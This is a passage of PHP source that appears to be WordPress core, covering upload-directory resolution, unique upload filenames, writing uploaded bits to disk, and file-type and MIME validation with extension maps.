'yyyy/mm'. Default null. * @param bool $create_dir Optional. Whether to check and create the uploads directory. * Default true for backward compatibility. * @param bool $refresh_cache Optional. Whether to refresh the cache. Default false. * @return array { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) { static $cache = array(), $tested_paths = array(); $key = sprintf( '%d-%s', get_current_blog_id(), (string) $time ); if ( $refresh_cache || empty( $cache[ $key ] ) ) { $cache[ $key ] = _wp_upload_dir( $time ); } /** * Filters the uploads directory data. * * @since 2.0.0 * * @param array $uploads { * Array of information about the upload directory. * * @type string $path Base directory and subdirectory or full path to upload directory. * @type string $url Base URL and subdirectory or absolute URL to upload directory. * @type string $subdir Subdirectory if uploads use year/month folders option is on. * @type string $basedir Path without subdir. * @type string $baseurl URL path without subdir. * @type string|false $error False or error message. * } */ $uploads = apply_filters( 'upload_dir', $cache[ $key ] ); if ( $create_dir ) { $path = $uploads['path']; if ( array_key_exists( $path, $tested_paths ) ) { $uploads['error'] = $tested_paths[ $path ]; } else { if ( ! wp_mkdir_p( $path ) ) { if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir']; } else { $error_path = wp_basename( $uploads['basedir'] ) . $uploads['subdir']; } $uploads['error'] = sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), esc_html( $error_path ) ); } $tested_paths[ $path ] = $uploads['error']; } } return $uploads; } /** * A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path. * * @since 4.5.0 * @access private * * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array See wp_upload_dir() */ function _wp_upload_dir( $time = null ) { $siteurl = get_option( 'siteurl' ); $upload_path = trim( get_option( 'upload_path' ) ); if ( empty( $upload_path ) || 'wp-content/uploads' === $upload_path ) { $dir = WP_CONTENT_DIR . '/uploads'; } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) { // $dir is absolute, $upload_path is (maybe) relative to ABSPATH. $dir = path_join( ABSPATH, $upload_path ); } else { $dir = $upload_path; } $url = get_option( 'upload_url_path' ); if ( ! $url ) { if ( empty( $upload_path ) || ( 'wp-content/uploads' === $upload_path ) || ( $upload_path == $dir ) ) { $url = WP_CONTENT_URL . '/uploads'; } else { $url = trailingslashit( $siteurl ) . $upload_path; } } /* * Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled. * We also sometimes obey UPLOADS when rewriting is enabled -- see the next block. */ if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) { $dir = ABSPATH . UPLOADS; $url = trailingslashit( $siteurl ) . UPLOADS; } // If multisite (and if not the main site in a post-MU network). if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) { if ( ! get_site_option( 'ms_files_rewriting' ) ) { /* * If ms-files rewriting is disabled (networks created post-3.5), it is fairly * straightforward: Append sites/%d if we're not on the main site (for post-MU * networks). (The extra directory prevents a four-digit ID from conflicting with * a year-based directory for the main site. But if a MU-era network has disabled * ms-files rewriting manually, they don't need the extra directory, as they never * had wp-content/uploads for the main site.) */ if ( defined( 'MULTISITE' ) ) { $ms_dir = '/sites/' . get_current_blog_id(); } else { $ms_dir = '/' . get_current_blog_id(); } $dir .= $ms_dir; $url .= $ms_dir; } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) { /* * Handle the old-form ms-files.php rewriting if the network still has that enabled. * When ms-files rewriting is enabled, then we only listen to UPLOADS when: * 1) We are not on the main site in a post-MU network, as wp-content/uploads is used * there, and * 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect * the original blog ID. * * Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute. * (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as * as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files * rewriting in multisite, the resulting URL is /files. (#WP22702 for background.) */ if ( defined( 'BLOGUPLOADDIR' ) ) { $dir = untrailingslashit( BLOGUPLOADDIR ); } else { $dir = ABSPATH . UPLOADS; } $url = trailingslashit( $siteurl ) . 'files'; } } $basedir = $dir; $baseurl = $url; $subdir = ''; if ( get_option( 'uploads_use_yearmonth_folders' ) ) { // Generate the yearly and monthly directories. if ( ! $time ) { $time = current_time( 'mysql' ); } $y = substr( $time, 0, 4 ); $m = substr( $time, 5, 2 ); $subdir = "/$y/$m"; } $dir .= $subdir; $url .= $subdir; return array( 'path' => $dir, 'url' => $url, 'subdir' => $subdir, 'basedir' => $basedir, 'baseurl' => $baseurl, 'error' => false, ); } /** * Get a filename that is sanitized and unique for the given directory. * * If the filename is not unique, then a number will be added to the filename * before the extension, and will continue adding numbers until the filename * is unique. * * The callback function allows the caller to use their own method to create * unique file names. If defined, the callback should take three arguments: * - directory, base filename, and extension - and return a unique filename. * * @since 2.5.0 * * @param string $dir Directory. * @param string $filename File name. * @param callable $unique_filename_callback Callback. Default null. * @return string New filename, if given wasn't unique. */ function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) { // Sanitize the file name before we begin processing. $filename = sanitize_file_name( $filename ); $ext2 = null; // Initialize vars used in the wp_unique_filename filter. $number = ''; $alt_filenames = array(); // Separate the filename into a name and extension. $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_BASENAME ); if ( $ext ) { $ext = '.' . $ext; } // Edge case: if file is named '.ext', treat as an empty name. if ( $name === $ext ) { $name = ''; } /* * Increment the file number until we have a unique file to save in $dir. * Use callback if supplied. */ if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) { $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext ); } else { $fname = pathinfo( $filename, PATHINFO_FILENAME ); // Always append a number to file names that can potentially match image sub-size file names. if ( $fname && preg_match( '/-(?:\d+x\d+|scaled|rotated)$/', $fname ) ) { $number = 1; // At this point the file name may not be unique. This is tested below and the $number is incremented. $filename = str_replace( "{$fname}{$ext}", "{$fname}-{$number}{$ext}", $filename ); } /* * Get the mime type. Uploaded files were already checked with wp_check_filetype_and_ext() * in _wp_handle_upload(). Using wp_check_filetype() would be sufficient here. */ $file_type = wp_check_filetype( $filename ); $mime_type = $file_type['type']; $is_image = ( ! empty( $mime_type ) && 0 === strpos( $mime_type, 'image/' ) ); $upload_dir = wp_get_upload_dir(); $lc_filename = null; $lc_ext = strtolower( $ext ); $_dir = trailingslashit( $dir ); /* * If the extension is uppercase add an alternate file name with lowercase extension. * Both need to be tested for uniqueness as the extension will be changed to lowercase * for better compatibility with different filesystems. Fixes an inconsistency in WP < 2.9 * where uppercase extensions were allowed but image sub-sizes were created with * lowercase extensions. */ if ( $ext && $lc_ext !== $ext ) { $lc_filename = preg_replace( '|' . preg_quote( $ext ) . '$|', $lc_ext, $filename ); } /* * Increment the number added to the file name if there are any files in $dir * whose names match one of the possible name variations. */ while ( file_exists( $_dir . $filename ) || ( $lc_filename && file_exists( $_dir . $lc_filename ) ) ) { $new_number = (int) $number + 1; if ( $lc_filename ) { $lc_filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $lc_filename ); } if ( '' === "{$number}{$ext}" ) { $filename = "{$filename}-{$new_number}"; } else { $filename = str_replace( array( "-{$number}{$ext}", "{$number}{$ext}" ), "-{$new_number}{$ext}", $filename ); } $number = $new_number; } // Change the extension to lowercase if needed. if ( $lc_filename ) { $filename = $lc_filename; } /* * Prevent collisions with existing file names that contain dimension-like strings * (whether they are subsizes or originals uploaded prior to #42437). */ $files = array(); $count = 10000; // The (resized) image files would have name and extension, and will be in the uploads dir. if ( $name && $ext && @is_dir( $dir ) && false !== strpos( $dir, $upload_dir['basedir'] ) ) { /** * Filters the file list used for calculating a unique filename for a newly added file. * * Returning an array from the filter will effectively short-circuit retrieval * from the filesystem and return the passed value instead. * * @since 5.5.0 * * @param array|null $files The list of files to use for filename comparisons. * Default null (to retrieve the list from the filesystem). * @param string $dir The directory for the new file. * @param string $filename The proposed filename for the new file. */ $files = apply_filters( 'pre_wp_unique_filename_file_list', null, $dir, $filename ); if ( null === $files ) { // List of all files and directories contained in $dir. $files = @scandir( $dir ); } if ( ! empty( $files ) ) { // Remove "dot" dirs. $files = array_diff( $files, array( '.', '..' ) ); } if ( ! empty( $files ) ) { $count = count( $files ); /* * Ensure this never goes into infinite loop as it uses pathinfo() and regex in the check, * but string replacement for the changes. */ $i = 0; while ( $i <= $count && _wp_check_existing_file_names( $filename, $files ) ) { $new_number = (int) $number + 1; // If $ext is uppercase it was replaced with the lowercase version after the previous loop. $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; $i++; } } } /* * Check if an image will be converted after uploading or some existing image sub-size file names may conflict * when regenerated. If yes, ensure the new file name will be unique and will produce unique sub-sizes. */ if ( $is_image ) { /** This filter is documented in wp-includes/class-wp-image-editor.php */ $output_formats = apply_filters( 'image_editor_output_format', array(), $_dir . $filename, $mime_type ); $alt_types = array(); if ( ! empty( $output_formats[ $mime_type ] ) ) { // The image will be converted to this format/mime type. $alt_mime_type = $output_formats[ $mime_type ]; // Other types of images whose names may conflict if their sub-sizes are regenerated. $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type, $alt_mime_type ) ) ); $alt_types[] = $alt_mime_type; } elseif ( ! empty( $output_formats ) ) { $alt_types = array_keys( array_intersect( $output_formats, array( $mime_type ) ) ); } // Remove duplicates and the original mime type. It will be added later if needed. $alt_types = array_unique( array_diff( $alt_types, array( $mime_type ) ) ); foreach ( $alt_types as $alt_type ) { $alt_ext = wp_get_default_extension_for_mime_type( $alt_type ); if ( ! $alt_ext ) { continue; } $alt_ext = ".{$alt_ext}"; $alt_filename = preg_replace( '|' . preg_quote( $lc_ext ) . '$|', $alt_ext, $filename ); $alt_filenames[ $alt_ext ] = $alt_filename; } if ( ! empty( $alt_filenames ) ) { /* * Add the original filename. It needs to be checked again * together with the alternate filenames when $number is incremented. */ $alt_filenames[ $lc_ext ] = $filename; // Ensure no infinite loop. $i = 0; while ( $i <= $count && _wp_check_alternate_file_names( $alt_filenames, $_dir, $files ) ) { $new_number = (int) $number + 1; foreach ( $alt_filenames as $alt_ext => $alt_filename ) { $alt_filenames[ $alt_ext ] = str_replace( array( "-{$number}{$alt_ext}", "{$number}{$alt_ext}" ), "-{$new_number}{$alt_ext}", $alt_filename ); } /* * Also update the $number in (the output) $filename. * If the extension was uppercase it was already replaced with the lowercase version. */ $filename = str_replace( array( "-{$number}{$lc_ext}", "{$number}{$lc_ext}" ), "-{$new_number}{$lc_ext}", $filename ); $number = $new_number; $i++; } } } } /** * Filters the result when generating a unique file name. * * @since 4.5.0 * @since 5.8.1 The `$alt_filenames` and `$number` parameters were added. * * @param string $filename Unique file name. * @param string $ext File extension. Example: ".png". * @param string $dir Directory path. * @param callable|null $unique_filename_callback Callback function that generates the unique file name. * @param string[] $alt_filenames Array of alternate file names that were checked for collisions. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. */ return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ); } /** * Helper function to test if each of an array of file names could conflict with existing files. * * @since 5.8.1 * @access private * * @param string[] $filenames Array of file names to check. * @param string $dir The directory containing the files. * @param array $files An array of existing files in the directory. May be empty. * @return bool True if the tested file name could match an existing file, false otherwise. */ function _wp_check_alternate_file_names( $filenames, $dir, $files ) { foreach ( $filenames as $filename ) { if ( file_exists( $dir . $filename ) ) { return true; } if ( ! empty( $files ) && _wp_check_existing_file_names( $filename, $files ) ) { return true; } } return false; } /** * Helper function to check if a file name could match an existing image sub-size file name. * * @since 5.3.1 * @access private * * @param string $filename The file name to check. * @param array $files An array of existing files in the directory. * @return bool True if the tested file name could match an existing file, false otherwise. */ function _wp_check_existing_file_names( $filename, $files ) { $fname = pathinfo( $filename, PATHINFO_FILENAME ); $ext = pathinfo( $filename, PATHINFO_EXTENSION ); // Edge case, file names like `.ext`. if ( empty( $fname ) ) { return false; } if ( $ext ) { $ext = ".$ext"; } $regex = '/^' . preg_quote( $fname ) . '-(?:\d+x\d+|scaled|rotated)' . preg_quote( $ext ) . '$/i'; foreach ( $files as $file ) { if ( preg_match( $regex, $file ) ) { return true; } } return false; } /** * Create a file in the upload folder with given content. * * If there is an error, then the key 'error' will exist with the error message. * If success, then the key 'file' will have the unique file path, the 'url' key * will have the link to the new file. and the 'error' key will be set to false. * * This function will not move an uploaded file to the upload folder. It will * create a new file with the content in $bits parameter. If you move the upload * file, read the content of the uploaded file, and then you can give the * filename and content to this function, which will add it to the upload * folder. * * The permissions will be set on the new file automatically by this function. * * @since 2.0.0 * * @param string $name Filename. * @param null|string $deprecated Never used. Set to null. * @param string $bits File content * @param string $time Optional. Time formatted in 'yyyy/mm'. Default null. * @return array { * Information about the newly-uploaded file. * * @type string $file Filename of the newly-uploaded file. * @type string $url URL of the uploaded file. * @type string $type File type. * @type string|false $error Error message, if there has been an error. * } */ function wp_upload_bits( $name, $deprecated, $bits, $time = null ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.0.0' ); } if ( empty( $name ) ) { return array( 'error' => __( 'Empty filename' ) ); } $wp_filetype = wp_check_filetype( $name ); if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) ) { return array( 'error' => __( 'Sorry, you are not allowed to upload this file type.' ) ); } $upload = wp_upload_dir( $time ); if ( false !== $upload['error'] ) { return $upload; } /** * Filters whether to treat the upload bits as an error. * * Returning a non-array from the filter will effectively short-circuit preparing the upload bits * and return that value instead. An error message should be returned as a string. * * @since 3.0.0 * * @param array|string $upload_bits_error An array of upload bits data, or error message to return. */ $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time, ) ); if ( ! is_array( $upload_bits_error ) ) { $upload['error'] = $upload_bits_error; return $upload; } $filename = wp_unique_filename( $upload['path'], $name ); $new_file = $upload['path'] . "/$filename"; if ( ! wp_mkdir_p( dirname( $new_file ) ) ) { if ( 0 === strpos( $upload['basedir'], ABSPATH ) ) { $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir']; } else { $error_path = wp_basename( $upload['basedir'] ) . $upload['subdir']; } $message = sprintf( /* translators: %s: Directory path. */ __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path ); return array( 'error' => $message ); } $ifp = @fopen( $new_file, 'wb' ); if ( ! $ifp ) { return array( /* translators: %s: File name. */ 'error' => sprintf( __( 'Could not write file %s' ), $new_file ), ); } fwrite( $ifp, $bits ); fclose( $ifp ); clearstatcache(); // Set correct file permissions. $stat = @ stat( dirname( $new_file ) ); $perms = $stat['mode'] & 0007777; $perms = $perms & 0000666; chmod( $new_file, $perms ); clearstatcache(); // Compute the URL. $url = $upload['url'] . "/$filename"; if ( is_multisite() ) { clean_dirsize_cache( $new_file ); } /** This filter is documented in wp-admin/includes/file.php */ return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false, ), 'sideload' ); } /** * Retrieve the file type based on the extension name. * * @since 2.5.0 * * @param string $ext The extension to search. * @return string|void The file type, example: audio, video, document, spreadsheet, etc. */ function wp_ext2type( $ext ) { $ext = strtolower( $ext ); $ext2type = wp_get_ext_types(); foreach ( $ext2type as $type => $exts ) { if ( in_array( $ext, $exts, true ) ) { return $type; } } } /** * Returns first matched extension for the mime-type, * as mapped from wp_get_mime_types(). * * @since 5.8.1 * * @param string $mime_type * * @return string|false */ function wp_get_default_extension_for_mime_type( $mime_type ) { $extensions = explode( '|', array_search( $mime_type, wp_get_mime_types(), true ) ); if ( empty( $extensions[0] ) ) { return false; } return $extensions[0]; } /** * Retrieve the file type from the file name. * * You can optionally define the mime array, if needed. * * @since 2.0.4 * * @param string $filename File name or path. * @param string[] $mimes Optional. Array of allowed mime types keyed by their file extension regex. * @return array { * Values for the extension and mime type. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * } */ function wp_check_filetype( $filename, $mimes = null ) { if ( empty( $mimes ) ) { $mimes = get_allowed_mime_types(); } $type = false; $ext = false; foreach ( $mimes as $ext_preg => $mime_match ) { $ext_preg = '!\.(' . $ext_preg . ')$!i'; if ( preg_match( $ext_preg, $filename, $ext_matches ) ) { $type = $mime_match; $ext = $ext_matches[1]; break; } } return compact( 'ext', 'type' ); } /** * Attempt to determine the real file type of a file. * * If unable to, the file name extension will be used to determine type. * * If it's determined that the extension does not match the file's real type, * then the "proper_filename" value will be set with a proper filename and extension. * * Currently this function only supports renaming images validated via wp_get_image_mime(). * * @since 3.0.0 * * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to $file being * in a tmp directory). * @param string[] $mimes Optional. Array of allowed mime types keyed by their file extension regex. * @return array { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } */ function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) { $proper_filename = false; // Do basic extension validation and MIME mapping. $wp_filetype = wp_check_filetype( $filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; // We can't do any further validation without a file to work with. if ( ! file_exists( $file ) ) { return compact( 'ext', 'type', 'proper_filename' ); } $real_mime = false; // Validate image types. if ( $type && 0 === strpos( $type, 'image/' ) ) { // Attempt to figure out what type of image it actually is. $real_mime = wp_get_image_mime( $file ); if ( $real_mime && $real_mime != $type ) { /** * Filters the list mapping image mime types to their respective extensions. * * @since 3.0.0 * * @param array $mime_to_ext Array of image mime types and their matching extensions. */ $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array( 'image/jpeg' => 'jpg', 'image/png' => 'png', 'image/gif' => 'gif', 'image/bmp' => 'bmp', 'image/tiff' => 'tif', 'image/webp' => 'webp', ) ); // Replace whatever is after the last period in the filename with the correct extension. if ( ! empty( $mime_to_ext[ $real_mime ] ) ) { $filename_parts = explode( '.', $filename ); array_pop( $filename_parts ); $filename_parts[] = $mime_to_ext[ $real_mime ]; $new_filename = implode( '.', $filename_parts ); if ( $new_filename != $filename ) { $proper_filename = $new_filename; // Mark that it changed. } // Redefine the extension / MIME. $wp_filetype = wp_check_filetype( $new_filename, $mimes ); $ext = $wp_filetype['ext']; $type = $wp_filetype['type']; } else { // Reset $real_mime and try validating again. $real_mime = false; } } } // Validate files that didn't get validated during previous checks. if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) { $finfo = finfo_open( FILEINFO_MIME_TYPE ); $real_mime = finfo_file( $finfo, $file ); finfo_close( $finfo ); // fileinfo often misidentifies obscure files as one of these types. $nonspecific_types = array( 'application/octet-stream', 'application/encrypted', 'application/CDFV2-encrypted', 'application/zip', ); /* * If $real_mime doesn't match the content type we're expecting from the file's extension, * we need to do some additional vetting. Media types and those listed in $nonspecific_types are * allowed some leeway, but anything else must exactly match the real content type. */ if ( in_array( $real_mime, $nonspecific_types, true ) ) { // File is a non-specific binary type. That's ok if it's a type that generally tends to be binary. if ( ! in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ), true ) ) { $type = false; $ext = false; } } elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) { /* * For these types, only the major type must match the real value. * This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip, * and some media files are commonly named with the wrong extension (.mov instead of .mp4) */ if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) { $type = false; $ext = false; } } elseif ( 'text/plain' === $real_mime ) { // A few common file types are occasionally detected as text/plain; allow those. if ( ! in_array( $type, array( 'text/plain', 'text/csv', 'application/csv', 'text/richtext', 'text/tsv', 'text/vtt', ), true ) ) { $type = false; $ext = false; } } elseif ( 'application/csv' === $real_mime ) { // Special casing for CSV files. if ( ! in_array( $type, array( 'text/csv', 'text/plain', 'application/csv', ), true ) ) { $type = false; $ext = false; } } elseif ( 'text/rtf' === $real_mime ) { // Special casing for RTF files. if ( ! in_array( $type, array( 'text/rtf', 'text/plain', 'application/rtf', ), true ) ) { $type = false; $ext = false; } } else { if ( $type !== $real_mime ) { /* * Everything else including image/* and application/*: * If the real content type doesn't match the file extension, assume it's dangerous. */ $type = false; $ext = false; } } } // The mime type must be allowed. if ( $type ) { $allowed = get_allowed_mime_types(); if ( ! in_array( $type, $allowed, true ) ) { $type = false; $ext = false; } } /** * Filters the "real" file type of the given file. * * @since 3.0.0 * @since 5.1.0 The $real_mime parameter was added. * * @param array $wp_check_filetype_and_ext { * Values for the extension, mime type, and corrected filename. * * @type string|false $ext File extension, or false if the file doesn't match a mime type. * @type string|false $type File mime type, or false if the file doesn't match a mime type. * @type string|false $proper_filename File name with its correct extension, or false if it cannot be determined. * } * @param string $file Full path to the file. * @param string $filename The name of the file (may differ from $file due to * $file being in a tmp directory). * @param string[] $mimes Array of mime types keyed by their file extension regex. * @param string|false $real_mime The actual mime type or false if the type cannot be determined. */ return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes, $real_mime ); } /** * Returns the real mime type of an image file. * * This depends on exif_imagetype() or getimagesize() to determine real mime types. * * @since 4.7.1 * @since 5.8.0 Added support for WebP images. * * @param string $file Full path to the file. * @return string|false The actual mime type or false if the type cannot be determined. */ function wp_get_image_mime( $file ) { /* * Use exif_imagetype() to check the mimetype if available or fall back to * getimagesize() if exif isn't available. If either function throws an Exception * we assume the file could not be validated. */ try { if ( is_callable( 'exif_imagetype' ) ) { $imagetype = exif_imagetype( $file ); $mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false; } elseif ( function_exists( 'getimagesize' ) ) { // Don't silence errors when in debug mode, unless running unit tests. if ( defined( 'WP_DEBUG' ) && WP_DEBUG && ! defined( 'WP_RUN_CORE_TESTS' ) ) { // Not using wp_getimagesize() here to avoid an infinite loop. $imagesize = getimagesize( $file ); } else { // phpcs:ignore WordPress.PHP.NoSilencedErrors $imagesize = @getimagesize( $file ); } $mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false; } else { $mime = false; } if ( false !== $mime ) { return $mime; } $magic = file_get_contents( $file, false, null, 0, 12 ); if ( false === $magic ) { return false; } /* * Add WebP fallback detection when image library doesn't support WebP. * Note: detection values come from LibWebP, see * https://github.com/webmproject/libwebp/blob/master/imageio/image_dec.c#L30 */ $magic = bin2hex( $magic ); if ( // RIFF. ( 0 === strpos( $magic, '52494646' ) ) && // WEBP. ( 16 === strpos( $magic, '57454250' ) ) ) { $mime = 'image/webp'; } } catch ( Exception $e ) { $mime = false; } return $mime; } /** * Retrieve list of mime types and file extensions. * * @since 3.5.0 * @since 4.2.0 Support was added for GIMP (.xcf) files. * @since 4.9.2 Support was added for Flac (.flac) files. * @since 4.9.6 Support was added for AAC (.aac) files. * * @return string[] Array of mime types keyed by the file extension regex corresponding to those types. */ function wp_get_mime_types() { /** * Filters the list of mime types and file extensions. * * This filter should be used to add, not remove, mime types. To remove * mime types, use the {@see 'upload_mimes'} filter. * * @since 3.5.0 * * @param string[] $wp_get_mime_types Mime types keyed by the file extension regex * corresponding to those types. */ return apply_filters( 'mime_types', array( // Image formats. 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tiff|tif' => 'image/tiff', 'webp' => 'image/webp', 'ico' => 'image/x-icon', 'heic' => 'image/heic', // Video formats. 'asf|asx' => 'video/x-ms-asf', 'wmv' => 'video/x-ms-wmv', 'wmx' => 'video/x-ms-wmx', 'wm' => 'video/x-ms-wm', 'avi' => 'video/avi', 'divx' => 'video/divx', 'flv' => 'video/x-flv', 'mov|qt' => 'video/quicktime', 'mpeg|mpg|mpe' => 'video/mpeg', 'mp4|m4v' => 'video/mp4', 'ogv' => 'video/ogg', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', '3gp|3gpp' => 'video/3gpp', // Can also be audio. '3g2|3gp2' => 'video/3gpp2', // Can also be audio. // Text formats. 'txt|asc|c|cc|h|srt' => 'text/plain', 'csv' => 'text/csv', 'tsv' => 'text/tab-separated-values', 'ics' => 'text/calendar', 'rtx' => 'text/richtext', 'css' => 'text/css', 'htm|html' => 'text/html', 'vtt' => 'text/vtt', 'dfxp' => 'application/ttaf+xml', // Audio formats. 'mp3|m4a|m4b' => 'audio/mpeg', 'aac' => 'audio/aac', 'ra|ram' => 'audio/x-realaudio', 'wav' => 'audio/wav', 'ogg|oga' => 'audio/ogg', 'flac' => 'audio/flac', 'mid|midi' => 'audio/midi', 'wma' => 'audio/x-ms-wma', 'wax' => 'audio/x-ms-wax', 'mka' => 'audio/x-matroska', // Misc application formats. 'rtf' => 'application/rtf', 'js' => 'application/javascript', 'pdf' => 'application/pdf', 'swf' => 'application/x-shockwave-flash', 'class' => 'application/java', 'tar' => 'application/x-tar', 'zip' => 'application/zip', 'gz|gzip' => 'application/x-gzip', 'rar' => 'application/rar', '7z' => 'application/x-7z-compressed', 'exe' => 'application/x-msdownload', 'psd' => 'application/octet-stream', 'xcf' => 'application/octet-stream', // MS Office formats. 'doc' => 'application/msword', 'pot|pps|ppt' => 'application/vnd.ms-powerpoint', 'wri' => 'application/vnd.ms-write', 'xla|xls|xlt|xlw' => 'application/vnd.ms-excel', 'mdb' => 'application/vnd.ms-access', 'mpp' => 'application/vnd.ms-project', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'docm' => 'application/vnd.ms-word.document.macroEnabled.12', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'dotm' => 'application/vnd.ms-word.template.macroEnabled.12', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12', 'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote', 'oxps' => 'application/oxps', 'xps' => 'application/vnd.ms-xpsdocument', // OpenOffice formats. 'odt' => 'application/vnd.oasis.opendocument.text', 'odp' => 'application/vnd.oasis.opendocument.presentation', 'ods' => 'application/vnd.oasis.opendocument.spreadsheet', 'odg' => 'application/vnd.oasis.opendocument.graphics', 'odc' => 'application/vnd.oasis.opendocument.chart', 'odb' => 'application/vnd.oasis.opendocument.database', 'odf' => 'application/vnd.oasis.opendocument.formula', // WordPerfect formats. 'wp|wpd' => 'application/wordperfect', // iWork formats. 'key' => 'application/vnd.apple.keynote', 'numbers' => 'application/vnd.apple.numbers', 'pages' => 'application/vnd.apple.pages', ) ); } /** * Retrieves the list of common file extensions and their types. * * @since 4.6.0 * * @return array[] Multi-dimensional array of file extensions types keyed by the type of file. */ function wp_get_ext_types() { /** * Filters file type based on the extension name. * * @since 2.5.0 * * @see wp_ext2type() * * @param array[] $ext2type Multi-dimensional array of file extensions types keyed by the type of file. */ return apply_filters( 'ext2type', array( 'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico', 'heic', 'webp' ), 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ), 'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ), 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ), 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ), 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ), 'text' => array( 'asc', 'csv', 'tsv', 'txt' ), 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ), 'code' => array( 'css', 'htm', 'html', 'php', 'js' ), ) ); } /** * Wrapper 